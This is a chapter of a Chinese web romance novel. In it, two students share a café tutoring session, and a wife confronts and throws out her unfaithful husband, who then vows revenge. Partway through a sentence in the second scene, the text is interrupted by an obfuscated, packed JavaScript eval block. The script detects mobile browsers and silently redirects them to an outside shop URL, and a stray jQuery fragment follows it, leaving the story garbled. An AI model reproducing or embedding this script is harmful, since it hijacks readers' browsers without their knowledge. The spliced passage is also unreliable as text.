文趣网 > 都市小说 > 被万人迷真少爷盯上后 > 10. 奔驰定理
    寂静像是汇入冰川的水,悄无声息。

    但冰川之下,暗流涌动。

    谢沉星直勾勾望向喻南羽眸底,说出的话冰凉寒人:“那些包养的金丝雀?还是供你玩耍的男.宠?”

    他本以为他跟他们不一样的,没想到,到头来,都是一丘之貉。

    他说这些话时脸上明明带着笑,但那笑意却像深藏冰川之下的冰凌,带着无尽的恶意。

    喻南羽知道他误会了,慌忙解释:“不是,我只是想帮你。”

    “我不是说了我们是朋友吗?”他跨过那条光影线,握住谢沉星的手:“朋友之间互帮互助不是应该的吗?”

    谢沉星垂眸看着两人交握的手。

    对方掌心温暖燥热,暖流像是顺着手心直达心口,将他灼烧。

    他看了片刻,收回手。

    “……抱歉。”

    他不知道自己哪来的怒气,明明昨晚已经做好跟对方厮混的准备,但今日想到对方可能真把他当成那种人却控制不住怒气直翻。

    像是被打翻糖罐的小孩。

    委屈,愤怒。

    喻南羽知道自己有些操之过急,这才让对方误会了,大气摆摆手:“没事,你别想歪就行。”

    他又坐回去,太阳移动位置,灿光位于两人之间。

    喻南羽知道追问不下去,索性拿出卷子转移话题,“那我们讲题吧,我好几道不会呢。”

    谢沉星看了他片刻,顺着台阶下:“哪道题?”

    喻南羽指着卷子上圈画的题:“这道。”

    金黄曜日被云层遮蔽,周边晕出朦胧光圈。

    太阳无知无觉,被黑云包裹其中。

    夏季的天,说变就变,方才还是大太阳,等两人讲完两道题突然下起瓢泼大雨。

    咖啡店内更冷清了。

    喻南羽不急着走,看着落地窗上滑下的雨线,像是天空留下的泪水。

    “我突然发现这个图案有点像我家车标。”

    喻南羽把自家车标画旁边,对比了一番,觉得更像了。

    谢沉星垂眸看了一眼,“这个定理就叫‘奔驰定理’。”

    “原因确实是画出的图案像是奔驰车标。”

    “还真是这样?”喻南羽惊奇:“这起名会不会太随意了点。”

    他这么一打岔,两人刚才那点微妙的不愉快陡散。

    “那我以后要是发现了什么定理也能随便命名?”

    谢沉星点头:“确实可以。”

    “那指望不上了。”喻南羽把他画的车标划掉:“就我这水平,已有的定理还学不会,更别说发现新的了。”

    谢沉星看他一眼没说话,算是默认了。

    果茶杯壁上凝聚出水珠,一条条往下落。

    喻南羽此时有点口渴,指着果茶问:“这里面有芒果吗?”

    谢沉星垂眸检查他的卷子,闻言心脏竟泛起阵阵刺痛。

    待缓过那阵心痛,抬眸看他:“你喜欢芒果?”

    “不是。”喻南羽用吸管搅动着里面的茶水,“我芒果过敏,一点都不能吃。”

    “没有。”谢沉星改完卷子把卷子推过去:“这两道题写错了,再验算一遍,还是做不出来我再讲。”

    喻南羽吸了口果茶,里面有果粒,他嚼动时嘴巴鼓起。

    像只小仓鼠。

    谢沉星收回目光,薄唇微抿,突然觉得自己也有些渴。

    喻南羽任劳任怨又算了一遍,但只算出一道题,另一道题谢沉星又给他讲了一遍。

    少年温热的呼吸喷洒在他耳侧,带动的风痒痒的,喻南羽抬头看对方认真的侧脸,突然觉得侧脸跟他爸也挺像的。

    怪不得后面见一面就认出来了。

    这想认不出来都难。

    “看什么?”谢沉星凤眸斜过来,带着点凉意:“听懂了?”

    喻南羽没回答,反问:“谢沉星,要不你给我当家教吧?”

    他觉得自己这个主意不错:“你给我补课,我给你钱,这样你也不用兼职了。”

    “不行。”谢沉星想也不想拒绝。

    喻南羽:“为什么?”

    谢沉星:“你之前给的钱已经够多了,不用给钱了,想问题随时找我就行。”

    谢沉星秀眉微蹙,略显苍白的脸没什么表情,他垂着眸,让人看不到里面的情绪。

    每个人都有自己的底线,喻南羽底线比较低,吃起哥哥姐姐软饭时心安理得,但谢沉星明显是底线高的那类。

    喻南羽手支着下巴思索,白皙腕骨上红绳低垂。

    “那你还要去红岚会所吗?”

    谢沉星闻言抬眸,也撑着下巴看他,嘴角竟带上一丝笑意:“你希望我去吗?”

    喻南羽连连摇头:“不希望,那地方能别去就别去了,不是什么正经地方。”

    凤眸幽深,像是一汪深潭。

    黑死的深潭倒映太阳,金日被黑潭丝丝缕缕包裹。

    于是太阳成了黑潭的所有物。

    谢沉星凤眸微弯,唇边笑意加深:“嗯,不去了。”

    他这一笑,使原本苍白的脸都增添了几分活气,宛若春三月盛开的桃花。

    喻南羽不自觉撑着下巴靠近,红绳晃动,“谢沉星,很多人夸过你长得好看吧?”

    凤眸里的笑意渐渐褪去,那份一闪而过的活气也随之消失。

    谢沉星凤眸清冷,鼻梁高挺,薄唇微抿时带着一丝清冷出尘的感觉。

    自小便常被人夸长相。

    幼时少不更事,遇到的叔婶也多是发自内心的夸赞。

    可再大一点,一切都变了味。

    从初中开始,那些夸赞成了一柄利器,美成了性别代名词,也成了“欲”的开始。

    自此,那些夸赞像是滴入墨汁的清水。

    浑浊,肮脏。

    喻南羽没注意到谢沉星情绪上的变化,“你笑起来真的好好看啊。”

    他想了一下,“像是第一缕春风卷着桃花拂面。”

    少年杏眸微弯,眸子里是真切的笑意。

    他是发自内心在夸赞。

    谢沉星僵愣一瞬,手握着杯子,杯中水微动,“谢谢。”

    窗外雨歇风止,玻璃上的水痕丝丝缕缕,像一张错综复杂的大网,将两人包裹其中。

    喻南羽题问完了,咖啡厅人也渐渐多了起来,他收了卷子起身。

    “你先忙,我明天再来找你。”

    “嗯。”

    少年脊背挺拔,走路的姿势却透着肆意,像是迎风昂扬的小草,又像是忽如其来的一场微风。

    微风过处,片痕不留。

    似乎所有东西都不能在少年身上留下痕迹。

    他像是一阵风,不会为任何东西停留。

    杯中水荡出一圈圈波纹,谢沉星收回视线。

    雨后的落叶贴上车窗,又被来往的风吹落。

    喻南羽看着车窗外不断倒退的风景,思索如何获得关于谢沉星的更多信息。

    他不知道自己的做法是否有用,也不知道会不会改变剧情。

    问小七,对方也只会回答不知道。

    按理说,谢沉星现在最大的开销就是爷爷的医药费,只要医药费没什么变化,那么他的钱就是够用的。

    可是,怎么知道爷爷的医药费多少呢?

    *

    “孙承枭,你要脸不要?!”

    蓝卉扬手给他一巴掌,“照片都发我手上了,你还有什么想说的?!”

    蓝卉这一巴掌用了十成十的力度,刚消下去的红印子登时又显出来。

    事情已经过去一周了,在孙承枭的苦苦哀求下,蓝卉才勉为其难放他进来见一面。

    谁知对方一进来就拉着她的手哭委屈,喊冤枉。

    当她是傻子吗?

    那照片明明白白露出的是他孙承枭的脸。

    她找人调查过了,照片没有使用合成技术。

    照片是真的。

    孙承枭进来就被扇一巴掌,心中火气直冒,但现在他又不敢发作。

    因为这件事情,蓝家撤资,成化集团股价一直在跌,若是再得不到兰青集团的支持,他迟早会破产的。

    他舌头暗暗顶了顶被扇的脸,压下眸底的怒火,跪趴在对方腿边,抱住对方的白皙修长的小腿哭诉:“卉卉,这真的是一个误会,那照片绝对是合成的。有这么美丽贤惠的妻子在家,我怎么可能去见那种货色呢?”他装得委屈:“一定是有人冤枉我,想挑拨我们之间的关系啊!”

    蓝卉垂眸看他,眸子里没什么情绪,只是打量着他。

    原本还能看过去的脸此时憔悴不堪,眼下青黑,胡茬长出来,再穿身破布,跟流浪汉没什么区别。

    自己当初是怎么看上他的呢?

    哦,对了。对方当时跟他同一所大学,为了追她,每天省吃俭用给她买鲜花,还笨兮兮地做爱心早餐。

    爱心早餐很难吃,鸡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885994|212533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蛋没熟,盐还放多了。

    但就是为了做那份难吃的爱心早餐,对方五点钟起来,还把手划的都是口子。

    说不感动是假的,蓝卉上面有三个哥哥,她是家里的掌上明珠,从小被捧着长大,对这些应当不稀奇的。

    可就是因为太过真诚,反倒激荡了她的内心。

    对方的爱心早餐跟鲜花持续了一年,早餐也从最初的难以下咽到后来的色香味俱全。

    鲜花一年三百六十五天精心挑选,要么是跟当时的天气相称,要么是跟她的衣服搭配,一看就是花了心思的。

    蓝卉无可自制地心动了。

    毕业那天,孙承枭在海边给她表白,表白的瞬间不远处炸起了数米高的烟花,像是一张五彩斑斓的大网将两人罩在其中。

    孙承枭站在彩色烟花下,满脸通红拿出早就准备好的鲜花和项链向她表白,明明已经追了她一年,但那天还是局促的像第一次见面的小男生。

    天真,没有心机,满心满眼只有她。

    没有女生能拒绝这样的告白。

    蓝卉也不能。

    所以她答应了。

    之后的一切像是按下加速键,他们迅速订婚,结婚,蓝家资助孙承枭创业。

    他一朝飞上枝头做了凤凰,成了申城有名的孙总。

    应酬变多,关心变少,两人见面的机会也只有节假日和舞会。

    女人都是敏感的,怎么会察觉不到这些,只是不愿意相信罢了,靠着之前少得可怜的回忆欺骗自己。

    但现在那些照片真真切切摆在她面前,像是狠狠给了她一巴掌,揪着她的耳朵告诉她:“你的老公出.轨了!他早就不爱你了!”

    昔日的真心化作泡影,再找不出一点痕迹。

    蓝卉现在甚至怀疑对方当初的真心,她怀疑对方当时追她是不是看中了她家的势力。

    现在来求她也不过是希望蓝家可以继续支持他。

    大哥做的事她不是不知道,她也知道成化集团最近不好过,再这么下去甚至有破产的风险。

    所以她又给了孙承枭一次机会,放他进来,让他解释,但他还是只会把责任推别人身上。

    “孙承枭,你现在让我感到恶心。”蓝卉冷冷地踹开他:“照片不是合成的,我找人查过了。一年前这个时候你确实去了倾城酒吧,酒吧监控现在还有你进出的视频。”

    孙承枭脸色变了又变,蓝卉彻底死心,继续道:“我甚至没有深查下去,因为我不想知道你干的那些龌龊事!”

    “卉卉,卉卉,我是被冤枉的,当时我只是去谈生意,我没碰她们的!”孙承枭滑跪着往前,还想去抱蓝卉小腿。

    蓝卉没给他这个机会,直接转身将打印好的一沓照片扔他脸上,照片边角在他脸上划开血痕,纷纷扬扬的照片将他淹没。

    照片斑斓铺了满地,像是那晚的烟花。

    但照片的内容却与那晚烟花大相径庭,只让她感到恶心。

    照片上尽是孙承枭左拥右抱的照片,风流至极。

    看到照片,孙承枭再说不出话来,嘴唇哆嗦,脑子发白。

    他只知道他完了。

    一切都完了。

    他会破产,他会回到之前的日子。

    不行,他不能再回到低声下气求人的日子,他疯魔一般扑向蓝卉,声泪俱下:“卉卉,卉卉,看在我们结婚这么多年的份上,你让大哥再帮我一次,就一次行吗?我,我不能破产啊!”

    孙承枭表情狰狞,像是亡命囚徒,眸中尽是疯狂。

    蓝卉心中最后那点情意随着对方的动作彻底消散,她对孙承枭说了最后一句话:“来人,送客。”

    艳阳高照,蝉鸣不绝。

    申城像个大蒸笼,蒸的所有人大汗淋漓。

    明明热得冒汗的温度,孙承枭却如坠冰窖,寒意顺着脚踝往上爬,直达天灵盖。

    他眸中猩红一片,已然疯魔。

    一切都是因为那些照片。

    能找来那些照片的肯定是申城有头有脸的人物。

    孙承枭双拳攥紧,指甲陷进肉里抠出血来。

    脑海中闪过一个人的图像。

    喻南羽,一定是喻家,只有喻家才有这样的权力!

    他不过是威胁了一下对方的人,就遭到这样的报复。

    孙承枭脸上的血珠顺着脸颊滚落,在地上烫开一朵血花,他双目猩红,紧咬牙齿。

    若是有机会,他一定不会放过他!